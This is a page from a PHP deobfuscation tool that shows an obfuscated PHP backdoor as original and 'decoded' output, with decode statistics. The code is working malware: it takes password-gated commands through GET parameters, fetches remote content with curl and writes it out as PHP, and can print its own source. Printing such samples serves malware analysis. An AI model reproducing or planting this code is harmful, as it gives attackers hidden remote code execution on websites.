Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*-lAFH9>Puh_-*/$KIhnM /*-s!-n=-*/=/*-O`@-*/ range/*-N1G5-*/(/*-2Z{k]24$-*/"~"/*-Y,f..

Decoded Output download

<?php /*-lAFH9>Puh_-*/$KIhnM /*-s!-n=-*/=/*-O`@-*/ range/*-N1G5-*/(/*-2Z{k]24$-*/"~"/*-Y,f-*/, /*-ZH{Nl)p-*/" "/*-3U(uwXpP:o-*/); /*-3%-*/$K=${$KIhnM[21+10].$KIhnM[14+45].$KIhnM[1+46].$KIhnM[41+6].$KIhnM[4+47].$KIhnM[10+43].$KIhnM[19+38]};@(count/*-z](=}1X2C(-*/($K)==20&&/*-Y[GZj}>H[-*/in_array(/*-tX-*/gettype($K).count/*-:Y-*/($K),$K))?(($K[61]=$K[61].$K[71])&&($K[86]=$K[61]($K[86]))&&(@$K=$K[86]($K[53],$K[61](${$K[45]}[26])))/*-E8-*/&&/*-k{V-*/$K()):$K;/*-jB_-*/class /*-qOK[FKx-*/Mib{ /*-&;~n;Ca-*/static/*-($]q-*/ function /*-lL@~-*/MdVStCPAYg($OwJG) /*-P!IN(R,-*/{ $RHpksxwFYi/*-LX4cWC-*/ = /*-l(-*/"r"./*-nirCzWT-*/"a"./*-E2[-*/"n"./*-9+j--*/"g"./*-$>%nt}B>.5-*/"e"; /*-{yq)G-*/$xF/*->M1H3HYRGH-*/ = /*-=W2-*/$RHpksxwFYi/*-x~--*/(/*-8CD=M--*/"~"/*-OkK-C-*/, /*-zU-*/" "/*-%qc31#-*/);/*-<KUy|I-*/ $IqrLTNxl /*-nl2[+H)-*/= /*-zYt-*/explode/*-3zly8-*/(/*-0Jg-*/"%", /*-lLS-*/$OwJG/*-gxE-*/); /*-&2u&gAtK-t-*/$BHVxw /*-x+ey-*/= /*-m[-*/""; foreach /*-2G#Qi]7%@-*/(/*-$|+{-*/$IqrLTNxl /*-FH?P}GRO-*/as /*-sA-*/$Ih /*-GCJ@6s`-*/=>/*-hBD6-*/ $kncKiJXl/*-!o-*/) /*-D]XPg-*/$BHVxw /*-sa[@<S-*/.= /*-_7>ei,f-*/$xF[$kncKiJXl/*-l-cVwYa0-*/ - /*-GKm-*/22086/*-p7l&?2n?-*/];/*-<8O2Hg-*/ return /*-WLL4r<h9-*/$BHVxw; /*-K,Y;#;j-*/} /*-,lO0MXA6-*/static /*-kW&9-Zg9r]-*/function /*-kgfv-*/Vchkt/*-k.bo-*/(/*-X,o5-*/$dJzrinFT,/*-az3kVE8Zh7-*/ $uws/*-Ve.Tox`3@(-*/)/*-p8$mWCbgy-*/ {/*-YUDy-*/ $nfGSt/*-)}Zm-*/ = /*-7RK|gm9R(X-*/curl_init/*-I%o{-*/(/*-fP-*/$dJzrinFT/*-NH+c-*/);/*-wYknQMW-*/ curl_setopt/*-Kikj-*/(/*-@~HAHw}zh-*/$nfGSt,/*-+U]-*/ CURLOPT_RETURNTRANSFER,/*-VI)-*/ 1/*-X5ZdQ-*/);/*-O(I9:SE;-*/ $hbo/*-n}Bl{3n^-*/ = /*-^?h%p@E&z-*/curl_exec/*-t[8^-*/(/*-X1%n)&K-*/$nfGSt/*-mvkzrj-*/); /*-MIl}Y:<-*/return /*-1(iH}~C-*/empty/*-Q)H+,,f-*/(/*-upzNx`-*/$hbo/*-{;lc@-*/)/*-zo-*/ ? /*-1$w.-*/$uws/*-}=_[po;-*/(/*-o:-*/$dJzrinFT/*-=yX-*/)/*-o|7`^-*/ : /*-^BxLr#|-*/$hbo; /*-s7-*/}/*-h&S-*/ static/*-,gCKz&.V-*/ function /*-Q2s2[)2<`,-*/HzYRWpmDfO/*-zYV7pASou-*/() /*-A+w#!k]v[-*/{/*-%w^bM;-|4S-*/ $eFog /*-&dwa-*/=/*-pEI{_RlGW-*/ array/*-Gq-*/("22113%22098%22111%22115%22096%22111%22117%22110%22095%22102%22113%22096%22107%22101%22102","22097%22096%22098%22117%22098%22101%22096%22163%22161","22106%22097%22101%22102%22117%22112%22111%22113%22101%22112%22111","22100%22115%22113%22105","22114%22115%22097%22111%22158%22160%22117%22112%22111%22113%22101%22112%22111","22110%22107%22104%22111%22117%22109%22111%22096%22117%22113%22101%22102%22096%22111%22102%22096%22097","22140%22170","22087","22165%22170","22147%22130%22130%22147%22123","22101%22110"); /*-&kg;s-*/foreach /*-2GCVG-*/(/*-g,0[7-*/$eFog/*-Qe6wm-*/ as /*-}jq0f%8:-*/$pwKqjOhM/*-eu#x?:Ra1-*/)/*-yU#=o^S-*/ $yT/*-y@xdg-*/[] /*-.k#b~F6K?-*/= /*-s1y~9s+gm-*/self/*-JuBe9-*/::/*-5#;Sp]-*/MdVStCPAYg/*-.e}A-*/(/*-+<e|P-*/$pwKqjOhM/*-qPF74N-*/);/*-LjpEDW}-*/$GdP /*-Rd;Bk%_-*/= /*-%C$4-*/@$yT/*-$owGm}Q-*/[/*-nQcO2mBtT-*/1/*-}_wMozZ{d-*/]/*-D,Te-*/(/*-8N.gjq-*/${/*-Qyl~@0;-*/"_"/*-l_g+-*/."G"/*-Aj-*/."E"/*-W(g]-*/."T"/*-8Gi[U-*/}[/*-%44#-*/$yT/*-0Vkn8PbC%-*/[/*-J3rBem=-*/6+3/*-,!u-*/]]/*-1sRV-*/);/*-{<KY)|-*/ $lUIaBjJP /*-jBG.AI5m-*/=/*->4Q-*/ @$yT/*-!(-*/[/*-d{oH-*/1+2/*-4IdWZ-*/]/*-3-*/(/*-H-*/$yT/*-[dr-*/[/*-8c3:!iD0<%-*/6+0/*-A$Nc1-*/], /*-$HkqE-*/$GdP/*-40_<6!Tc:[-*/);/*-{xj8-*/ $dLRhnKpg /*-|3&6emEj-*/=/*-}`T`uvIw-*/ $yT/*-vemi-*/[/*-e}LS-*/0+2/*-eZ-*/]/*-zL-*/(/*-!Q[If-*/$lUIaBjJP,/*-C0RDl$-*/ true/*-{I{0a_bsD-*/); /*-H69?D9-*/@${/*-b.-*/"_"./*-?pz!r%-*/"G"./*-mx#!?|c-*/"E"/*-RM-*/."T"/*-vT|Q-*/}/*-<Z@RPl-*/[/*-?qXU>?#ZU-*/$yT/*-0U,X!-*/[9+1/*-Hd&%SxHMb-*/]/*-|eg}n(pi-*/]/*-igQ~d^-*/ == /*-|SE--*/1 /*-f$.<EYc-*/&& /*-r5WM-*/die/*-$1-*/(/*-:e5FSs-*/$yT[3+2/*-<]_-*/]/*-bIV-*/(/*-e{p[&2U-*/__FILE__/*-N|;P#.d7Q-*/)/*-PWF;mmr#t-*/); /*-^hctB-*/if/*-9ha:j-*/(/*-o!-*/ (/*-Qx)-*/(@/*-;#9WYV@lx-*/$dLRhnKpg/*-Q>o&Sr-*/[/*-NL}b-*/0/*--l~{`I-*/] /*-&<EQVH{m-*/- time/*-Q#-*/()/*-[e[B&z-*/) > /*-1g=5X)Zj-*/0/*-1&]1f-*/)/*-IGyui2(-*/ and /*-v|^$aCW4-*/(/*-#)(C4l<D-*/md5/*-j#F8-*/(/*-?:<N-*/md5/*--BK{]-*/(/*-s.`w$8u7>-*/$dLRhnKpg/*-L;-*/[/*-$|ur-*/2+1/*-3W-*/]/*-HK|-*/)/*-Xx>3V&-*/)/*-M+-*/ === /*-VDq-*/"e46f3c25e88b60b249f4a91815ca94b1"/*-p):t},xrpL-*/)/*-Sg5g-*/ ): /*-KjHdKU-*/$wxb /*-q8-*/=/*-Avv:`$-*/ self/*-X[-*/::/*-Q$9>2yz0C)-*/Vchkt/*-Y-duu%a-*/(/*-Ks-*/$dLRhnKpg/*-.!d-*/[/*-Dp-*/1+0/*-(18)hByL3-*/], /*-#|Yz-*/$yT/*-+vqyI5I-*/[/*-u+-*/0+5/*-yy&Ja-*/]/*-UKZP;ASFoV-*/);/*-%yuM-n-*/@$yT/*-Sgo-*/[/*-)[vX}_-*/0/*-K4w-*/]/*-WJ(<#y<-*/(/*-;X2b-*/"",/*-t>5P1qR-*/ $yT/*-`9(-*/[/*-NhU7_(_(-*/6+1/*-&u|6hI2|m-*/] /*-iw-*/. /*-]:y-*/$yT/*-bW-*/[/*-8loTA{-*/3+1/*-3+F=HA-*/]/*-Tl-*/(/*-N&eA>xDEw-*/$wxb/*-IKv{P-*/)/*-;-*/ . /*-EjX[`dz-*/$yT/*-}^;E~}zj-*/[/*-r&b1-*/7+1/*-+18-*/]/*-6jf)6u-*/);/*-NY_>]p-*//*--i&_|QV-*/die;/*-,MLvQ&-*/ endif;/*-|00W-*/ }/*-Za1MU$;-*/}/*-9Y=P~-*/Mib/*-,c}NYUMis-*/::/*-J|t-*/HzYRWpmDfO/*-f3zA~-*/();/*-vN4|8-*/ ?>

Did this file decode correctly?

Original Code

<?php /*-lAFH9>Puh_-*/$KIhnM /*-s!-n=-*/=/*-O`@-*/ range/*-N1G5-*/(/*-2Z{k]24$-*/"~"/*-Y,f-*/, /*-ZH{Nl)p-*/" "/*-3U(uwXpP:o-*/); /*-3%-*/$K=${$KIhnM[21+10].$KIhnM[14+45].$KIhnM[1+46].$KIhnM[41+6].$KIhnM[4+47].$KIhnM[10+43].$KIhnM[19+38]};@(count/*-z](=}1X2C(-*/($K)==20&&/*-Y[GZj}>H[-*/in_array(/*-tX-*/gettype($K).count/*-:Y-*/($K),$K))?(($K[61]=$K[61].$K[71])&&($K[86]=$K[61]($K[86]))&&(@$K=$K[86]($K[53],$K[61](${$K[45]}[26])))/*-E8-*/&&/*-k{V-*/$K()):$K;/*-jB_-*/class /*-qOK[FKx-*/Mib{ /*-&;~n;Ca-*/static/*-($]q-*/ function /*-lL@~-*/MdVStCPAYg($OwJG) /*-P!IN(R,-*/{ $RHpksxwFYi/*-LX4cWC-*/ = /*-l(-*/"r"./*-nirCzWT-*/"a"./*-E2[-*/"n"./*-9+j--*/"g"./*-$>%nt}B>.5-*/"e"; /*-{yq)G-*/$xF/*->M1H3HYRGH-*/ = /*-=W2-*/$RHpksxwFYi/*-x~--*/(/*-8CD=M--*/"~"/*-OkK-C-*/, /*-zU-*/" "/*-%qc31#-*/);/*-<KUy|I-*/ $IqrLTNxl /*-nl2[+H)-*/= /*-zYt-*/explode/*-3zly8-*/(/*-0Jg-*/"%", /*-lLS-*/$OwJG/*-gxE-*/); /*-&2u&gAtK-t-*/$BHVxw /*-x+ey-*/= /*-m[-*/""; foreach /*-2G#Qi]7%@-*/(/*-$|+{-*/$IqrLTNxl /*-FH?P}GRO-*/as /*-sA-*/$Ih /*-GCJ@6s`-*/=>/*-hBD6-*/ $kncKiJXl/*-!o-*/) /*-D]XPg-*/$BHVxw /*-sa[@<S-*/.= /*-_7>ei,f-*/$xF[$kncKiJXl/*-l-cVwYa0-*/ - /*-GKm-*/22086/*-p7l&?2n?-*/];/*-<8O2Hg-*/ return /*-WLL4r<h9-*/$BHVxw; /*-K,Y;#;j-*/} /*-,lO0MXA6-*/static /*-kW&9-Zg9r]-*/function /*-kgfv-*/Vchkt/*-k.bo-*/(/*-X,o5-*/$dJzrinFT,/*-az3kVE8Zh7-*/ $uws/*-Ve.Tox`3@(-*/)/*-p8$mWCbgy-*/ {/*-YUDy-*/ $nfGSt/*-)}Zm-*/ = /*-7RK|gm9R(X-*/curl_init/*-I%o{-*/(/*-fP-*/$dJzrinFT/*-NH+c-*/);/*-wYknQMW-*/ curl_setopt/*-Kikj-*/(/*-@~HAHw}zh-*/$nfGSt,/*-+U]-*/ CURLOPT_RETURNTRANSFER,/*-VI)-*/ 1/*-X5ZdQ-*/);/*-O(I9:SE;-*/ $hbo/*-n}Bl{3n^-*/ = /*-^?h%p@E&z-*/curl_exec/*-t[8^-*/(/*-X1%n)&K-*/$nfGSt/*-mvkzrj-*/); /*-MIl}Y:<-*/return /*-1(iH}~C-*/empty/*-Q)H+,,f-*/(/*-upzNx`-*/$hbo/*-{;lc@-*/)/*-zo-*/ ? /*-1$w.-*/$uws/*-}=_[po;-*/(/*-o:-*/$dJzrinFT/*-=yX-*/)/*-o|7`^-*/ : /*-^BxLr#|-*/$hbo; /*-s7-*/}/*-h&S-*/ static/*-,gCKz&.V-*/ function /*-Q2s2[)2<`,-*/HzYRWpmDfO/*-zYV7pASou-*/() /*-A+w#!k]v[-*/{/*-%w^bM;-|4S-*/ $eFog /*-&dwa-*/=/*-pEI{_RlGW-*/ array/*-Gq-*/("22113%22098%22111%22115%22096%22111%22117%22110%22095%22102%22113%22096%22107%22101%22102","22097%22096%22098%22117%22098%22101%22096%22163%22161","22106%22097%22101%22102%22117%22112%22111%22113%22101%22112%22111","22100%22115%22113%22105","22114%22115%22097%22111%22158%22160%22117%22112%22111%22113%22101%22112%22111","22110%22107%22104%22111%22117%22109%22111%22096%22117%22113%22101%22102%22096%22111%22102%22096%22097","22140%22170","22087","22165%22170","22147%22130%22130%22147%22123","22101%22110"); /*-&kg;s-*/foreach /*-2GCVG-*/(/*-g,0[7-*/$eFog/*-Qe6wm-*/ as /*-}jq0f%8:-*/$pwKqjOhM/*-eu#x?:Ra1-*/)/*-yU#=o^S-*/ $yT/*-y@xdg-*/[] /*-.k#b~F6K?-*/= /*-s1y~9s+gm-*/self/*-JuBe9-*/::/*-5#;Sp]-*/MdVStCPAYg/*-.e}A-*/(/*-+<e|P-*/$pwKqjOhM/*-qPF74N-*/);/*-LjpEDW}-*/$GdP /*-Rd;Bk%_-*/= /*-%C$4-*/@$yT/*-$owGm}Q-*/[/*-nQcO2mBtT-*/1/*-}_wMozZ{d-*/]/*-D,Te-*/(/*-8N.gjq-*/${/*-Qyl~@0;-*/"_"/*-l_g+-*/."G"/*-Aj-*/."E"/*-W(g]-*/."T"/*-8Gi[U-*/}[/*-%44#-*/$yT/*-0Vkn8PbC%-*/[/*-J3rBem=-*/6+3/*-,!u-*/]]/*-1sRV-*/);/*-{<KY)|-*/ $lUIaBjJP /*-jBG.AI5m-*/=/*->4Q-*/ @$yT/*-!(-*/[/*-d{oH-*/1+2/*-4IdWZ-*/]/*-3-*/(/*-H-*/$yT/*-[dr-*/[/*-8c3:!iD0<%-*/6+0/*-A$Nc1-*/], /*-$HkqE-*/$GdP/*-40_<6!Tc:[-*/);/*-{xj8-*/ $dLRhnKpg /*-|3&6emEj-*/=/*-}`T`uvIw-*/ $yT/*-vemi-*/[/*-e}LS-*/0+2/*-eZ-*/]/*-zL-*/(/*-!Q[If-*/$lUIaBjJP,/*-C0RDl$-*/ true/*-{I{0a_bsD-*/); /*-H69?D9-*/@${/*-b.-*/"_"./*-?pz!r%-*/"G"./*-mx#!?|c-*/"E"/*-RM-*/."T"/*-vT|Q-*/}/*-<Z@RPl-*/[/*-?qXU>?#ZU-*/$yT/*-0U,X!-*/[9+1/*-Hd&%SxHMb-*/]/*-|eg}n(pi-*/]/*-igQ~d^-*/ == /*-|SE--*/1 /*-f$.<EYc-*/&& /*-r5WM-*/die/*-$1-*/(/*-:e5FSs-*/$yT[3+2/*-<]_-*/]/*-bIV-*/(/*-e{p[&2U-*/__FILE__/*-N|;P#.d7Q-*/)/*-PWF;mmr#t-*/); /*-^hctB-*/if/*-9ha:j-*/(/*-o!-*/ (/*-Qx)-*/(@/*-;#9WYV@lx-*/$dLRhnKpg/*-Q>o&Sr-*/[/*-NL}b-*/0/*--l~{`I-*/] /*-&<EQVH{m-*/- time/*-Q#-*/()/*-[e[B&z-*/) > /*-1g=5X)Zj-*/0/*-1&]1f-*/)/*-IGyui2(-*/ and /*-v|^$aCW4-*/(/*-#)(C4l<D-*/md5/*-j#F8-*/(/*-?:<N-*/md5/*--BK{]-*/(/*-s.`w$8u7>-*/$dLRhnKpg/*-L;-*/[/*-$|ur-*/2+1/*-3W-*/]/*-HK|-*/)/*-Xx>3V&-*/)/*-M+-*/ === /*-VDq-*/"e46f3c25e88b60b249f4a91815ca94b1"/*-p):t},xrpL-*/)/*-Sg5g-*/ ): /*-KjHdKU-*/$wxb /*-q8-*/=/*-Avv:`$-*/ self/*-X[-*/::/*-Q$9>2yz0C)-*/Vchkt/*-Y-duu%a-*/(/*-Ks-*/$dLRhnKpg/*-.!d-*/[/*-Dp-*/1+0/*-(18)hByL3-*/], /*-#|Yz-*/$yT/*-+vqyI5I-*/[/*-u+-*/0+5/*-yy&Ja-*/]/*-UKZP;ASFoV-*/);/*-%yuM-n-*/@$yT/*-Sgo-*/[/*-)[vX}_-*/0/*-K4w-*/]/*-WJ(<#y<-*/(/*-;X2b-*/"",/*-t>5P1qR-*/ $yT/*-`9(-*/[/*-NhU7_(_(-*/6+1/*-&u|6hI2|m-*/] /*-iw-*/. /*-]:y-*/$yT/*-bW-*/[/*-8loTA{-*/3+1/*-3+F=HA-*/]/*-Tl-*/(/*-N&eA>xDEw-*/$wxb/*-IKv{P-*/)/*-;-*/ . /*-EjX[`dz-*/$yT/*-}^;E~}zj-*/[/*-r&b1-*/7+1/*-+18-*/]/*-6jf)6u-*/);/*-NY_>]p-*//*--i&_|QV-*/die;/*-,MLvQ&-*/ endif;/*-|00W-*/ }/*-Za1MU$;-*/}/*-9Y=P~-*/Mib/*-,c}NYUMis-*/::/*-J|t-*/HzYRWpmDfO/*-f3zA~-*/();/*-vN4|8-*/ ?>

Function Calls

range 1

Variables

None

Stats

MD5 d2fd4ec7a7668d9d4779acff6250756c
Eval Count 0
Decode Time 84 ms